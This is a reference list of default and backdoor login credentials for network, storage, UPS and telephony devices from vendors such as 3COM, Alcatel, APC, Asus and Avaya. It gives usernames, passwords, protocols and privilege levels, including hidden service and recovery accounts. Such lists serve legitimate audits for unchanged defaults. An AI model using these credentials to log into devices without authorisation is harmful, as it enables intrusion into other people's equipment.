3COM Switch 3300XM Multi admin admin Admin
3COM CellPlex 7000 Telnet tech (none) Admin
3COM OfficeConnect Wireless 11g Cable/DSL Gateway HTTP (none) admin Admin
3COM OfficeConnect 812 ADSL Multi Administrator admin Admin terra
3COM OfficeConnect 812 ADSL 01.50-01 Multi admin (none) Admin
3COM SuperStack II Switch 2200 Telnet debug synnet
3COM SuperStack 3 4XXX Multi monitor monitor User
3COM 812 HTTP Administrator admin Admin
3COM CB9000 / 4007 3 Console Type User: FORCE (none) Admin This will recover a lost password and reset the switch config to Factory Default
3COM 3C16406 Multi admin (none) Admin telnet or serial
3COM cellplex 7000 Telnet operator (none) Admin
3COM CellPlex 7000 Telnet tech (none) Admin
3COM SS III Switch 4xxx (4900 – sure) Telnet recovery recovery resets_all_to_default u need to power off unit. tbl_
3COM LANplex 2500 Telnet n/a admin Admin
3COM Netbuilder Multi admin (none) Admin
3COM CoreBuilder 7000/6000/3500/2500 Telnet tech tech
3COM OfficeConnect 812 ADSL 01.50-01 Multi admin (none) Admin
3COM OfficeConnect Wireless 11g Cable/DSL Gateway HTTP (none) admin Admin
3COM Office Connect ISDN Routers 5×0 Telnet? n/a PASSWORD Admin
3COM OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100-72 HTTP (none) admin Admin http://192.168.1.1
3COM 3CRADSL72 1.2 Multi (none) 1234admin Admin snmp open by default with public / private community
3COM Internet Firewall 3C16770 HTTP admin password Admin
3COM office connect 11g Multi admin (none) User
3COM 3c16405 Multi n/a (none) Admin
3COM superstack II Netbuilder 11.1 Multi n/a (none) Admin
3COM CoreBuilder 7000/6000/3500/2500 Telnet n/a admin Admin
3COM cellplex 7000 Multi admin admin Admin RS-232/telnet
3COM CoreBuilder 7000/6000/3500/2500 Telnet n/a (none) Admin
3COM officeconnect Multi admin (none) Admin
3COM 3C16405 Multi admin (none) Admin
3COM 3CRWDR100A-72 2.06 (Sep 21 2005 14:24:48) HTTP admin 1234admin Admin Provided by Ya.com provider in Spain
3COM Shark Fin Comcast-supplied HTTP User Password Diagnostics page 192.160.100.1
3M VOL-0215 etc. SNMP volition volition Admin for Volition fibre switches
3ware 3DM HTTP Administrator 3ware Admin
Accelerated Networks DSL CPE and DSLAM Telnet sysadm anicust
ACCTON Wirelessrouter T-online HTTP none 0 Admin YEAHH
accton t-online accton Multi (none) 0 Admin
accton t-online accton Multi (none) 0 Admin
Aceex Modem ADSL Router HTTP admin (none) Admin
Aceex Modem ADSL Router HTTP admin (none) Admin
Actiontec Wireless Broadband Router Multi admin password Admin Verizon Fios Setup
ADC Kentrox Pacesetter Router Telnet n/a secret
Addon GWAR3000/ARM8100 HTTP admin admin Admin http://www.addon-tech.com
ADIC Scalar 100/1000 HTTP admin secure Admin
ADIC Scalar i2000 Multi admin password Admin
adtran TSU Router Module/L128/L768/1.5 Telnet n/a (none) Admin hit enter a few times
adtran NxIQ Telnet n/a adtran Admin hit enter a few times
adtran Express 5110/5200/5210 Telnet n/a adtran Admin hit enter a few times
adtran Smart 16/16e Telnet n/a PASSWORD Admin hit enter a few times
adtran Atlas 800/800Plus/810Plus/550 Telnet n/a Password Admin crtl-L
adtran TSU IQ/DSU IQ Telnet n/a (none) Admin hit enter a few times
adtran Agent Card Telnet n/a ADTRAN Admin ctrl-PTT
adtran T3SU 300 Telnet n/a adtran Admin Hit enter a few times
adtran Smart 16/16e Telnet n/a (none) Admin hit enter a few times
adtran MX2800 Telnet n/a adtran Admin hit enter a few times
Advantek Networks Wireless LAN 802.11 g/b Multi admin (none) Admin http://www.advanteknetworks.com/
Aethra Starbridge EU HTTP admin password Admin
AirLink Airlink 101 (AR430W) HTTP Admin admin Admin
AirTies RT-210 AirTies RT-210 AirTies RT-210 Telnet admin admin Admin AirTies RT-210
Alcatel PBX 4400 Port 2533 dhs3mt dhs3mt unknown thanks to Nicolas Gregoire
Alcatel Omnistack/omniswitch Telnet diag switch Admin
Alcatel PBX 4400 Port 2533 adfexc adfexc unknown thanks to Nicolas Gregoire
Alcatel OmniPCX Office 4.1 FTP ftp_admi kilo1987 Admin
Alcatel PBX 4400 Port 2533 mtch mtch unknown thanks to Nicolas Gregoire
Alcatel Office 4200 Multi n/a 1064 Admin by Bazille
Alcatel OXO 1.3 Multi (none) admin User
Alcatel PBX 4400 Port 2533 install llatsni unknown thanks to Nicolas Gregoire
Alcatel Timestep VPN 1520 3.00.026 Permit config and console root permit Admin Perm/Config port 38036
Alcatel PBX 4400 Port 2533 root letacla unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 mtcl mtcl unknown thanks to Nicolas Gregoire
Alcatel OmniPCX Office 4.1 FTP ftp_oper help1954 Operator
Alcatel OmniPCX Office 4.1 FTP ftp_inst pbxk1064 Installer
Alcatel PBX 4400 Port 2533 client client unknown
Alcatel OmniStack 6024 Telnet admin switch Admin
Alcatel PBX 4400 Port 2533 halt tlah unknown thanks to Nicolas Gregoire
Alcatel Omnistack/Omniswitch Telnet/Console diag switch Admin
Alcatel 7300 ASAM TL1 SUPERUSER ANS#150 Admin
Alcatel PBX 4400 Port 2533 kermit kermit unknown thanks to Nicolas Gregoire
ALCATEL 4400 Console mtcl (none) User
Alcatel PBX 4400 Port 2533 at4400 at4400 unknown thanks to Nicolas Gregoire
Alcatel PBX 4400 Port 2533 dhs3pms dhs3pms unknown thanks to Nicolas Gregoire
Alcatel OmniPCX Office 4.1 FTP ftp_nmc tuxalize NMC
Allied Telesyn Multi manager friend Admin
Allied Telesyn AT-8024(GB) Console n/a admin Admin
Allied Telesyn ALAT8326GB Multi manager manager Admin
Allied Telesyn AT-AR130 (U) -10 HTTP Manager friend Admin Default IP is 192.168.242.242
Allied Telesyn AT8016F Console manager friend Admin
Allied Telesyn AT Router HTTP root (none) Admin
Allied Telesyn AT-8024(GB) HTTP manager admin Admin
Allnet ALL0275 802.11g AP 1.0.6 HTTP none admin Admin
Allnet All0299 v.1.39.06 HTTP Admin admin Admin
Allnet T-DSL Modem Software Version: v1.51 HTTP admin admin Admin
Alteon AD4 9 Console admin admin Admin Factory default
Alteon ACEswitch 180e HTTP admin admin Admin
Alteon ACEswitch 180e HTTP admin linga Admin none
Alteon ACEDirector3 console admin (none)
Alteon ACEswitch 180e Telnet admin (none)
AMBIT ADSL Telnet root (none) Admin
Ambit ntl:home 200 2.67.1011 HTTP root root Admin This is the cable modem supplied by NTL in the UK
Ambit Cable Modem Multi root root Admin Time Warner Cable issued modem
Ambit Cable Modem 60678eu 1.12 Multi root root Admin
Amitech wireless router and access point 802.11g 802.11b any HTTP admin admin Admin Web interface is on 192.168.1.254 available on the LAN ports of the AP.
Andover Controls Infinity any Console acc acc Admin Building managment system
AOC zenworks 4.0 Multi n/a admin Admin
Apache Tomcat Web Server Administration Tool 5 HTTP admin (none) Admin
APC UPSes (Web/SNMP Mgmt Card) HTTP device device Admin Secondary access account (next to apc/apc)
APC USV Network Management Card SNMP n/a TENmanUFactOryPOWER Admin nachzulesen unter http://www.heise.de/security/news/meldung/44899 gruss HonkHase
APC 9606 Smart Slot Telnet n/a backdoor Admin
APC Smart UPS Multi apc apc Admin
apc Smartups 3000 HTTP apc apc Admin By Sentinel Software.net
apple airport5 1.0.09 Multi root admin Admin 192.168.1.1
Apple AirPort Base Station (Graphite) 2 Multi (none) public public See Apple article number 58613 for details
Apple Airport Extreme Base Station 2 Multi n/a admin Guest see Apple article number 107518 for details
Apple Airport Base Station (Dual Ethernet) 2 Multi n/a password Guest See Apple article number 106597 for details
Applied Innovations AIscout Multi scout scout supervisor
Areca RAID controllers Console admin 0 Admin
Arescom modem/router 10XX Telnet n/a atc123 Admin
ARtem ComPoint – CPD-XT-b CPD-XT-b Telnet (none) admin Admin
Asante FM2008 Multi admin asante Admin
Asante FM2008 Telnet superuser (none) Admin
Asante IntraStack multi IntraStack Asante Admin
Asante IntraSwitch multi IntraSwitch Asante Admin
Ascend Router Telnet n/a ascend Admin
Ascend Yurie Multi readonly lucenttech2
Ascend Sahara Multi root ascend
Ascom Ascotel PBX ALL Multi (none) 3ascotel Admin no user req. _by DTK
asmack router ar804u HTTP admin epicrouter Admin
ASMAX AR800C2 HTTP admin epicrouter Admin
ASMAX AR800C2 HTTP admin epicrouter Admin
Asmax Ar-804u HTTP admin epicrouter Admin
ASMAX AR701u / ASMAX AR6024 HTTP admin epicrouter Admin
Aspect ACD 6 Oracle DTA TJM User
Aspect ACD 8 Oracle DTA TJM User
Aspect ACD 6 HTTP customer none User views error logs
Aspect ACD 7 Oracle DTA TJM User
ASUS ASUS WL-330 Pocket Wireless Access Point HTTP admin admin Admin http://192.168.1.1
ASUS WL-500G 1.7.5.6 HTTP admin admin Admin
Asus wl300 All HTTP admin admin Admin
Asus P5P800 Multi n/a admin User
Asus wl503g All HTTP admin admin Admin
Asus wl500 All HTTP admin admin Admin
ASUS ASUS SMTA Router Firmware: 3.5.1.3(C0.0.7.4) – Hardware: 1100(AVG6002 REV:2.26A) HTTP + Telnet admin admin Admin Router / VoIP Gateway (@ 192.168.3.1)
Asus WL500g Deluxe HTTP admin admin Admin
asus WL500g HTTP admin admin Admin
ATL P1000 Multi operator 1234 User Tape Library Operator Access
ATL P1000 Multi Service 5678 Service Maintenance Admin Tape Library Service Access
Atlantis A02-RA141 Multi admin atlantis Admin
Atlantis I-Storm Lan Router ADSL Multi admin atlantis Admin (submit by fedematico)
Avaya Definity G3Si Multi craft (none) Admin
Avaya Pxxx 41761 Multi manuf xxyyzz Admin
AVAYA Cajun P33x firmware before 3.11.0 SNMP n/a admin Admin check the Bugtraq archives for more information
Avaya Pxxx 41761 Multi diag danger Admin
AVAYA P333 Telnet root ggdaseuaimhrke Admin
Avaya Definity Multi dadmin dadmin01 Admin
Avaya Cajun P550R P580 P880 and P882 Multi diag danger Developer
AVAYA P333 Telnet Administrator ggdaseuaimhrke Admin
AVAYA g3R v6 Console root ROOT500 Admin
Avaya CMS Supervisor 11 Console root cms500 Admin
Avaya definity up to rev. 6 any craft crftpw Admin
Avaya Cajun P550R P580 P880 and P882 Multi manuf xxyyzz Developer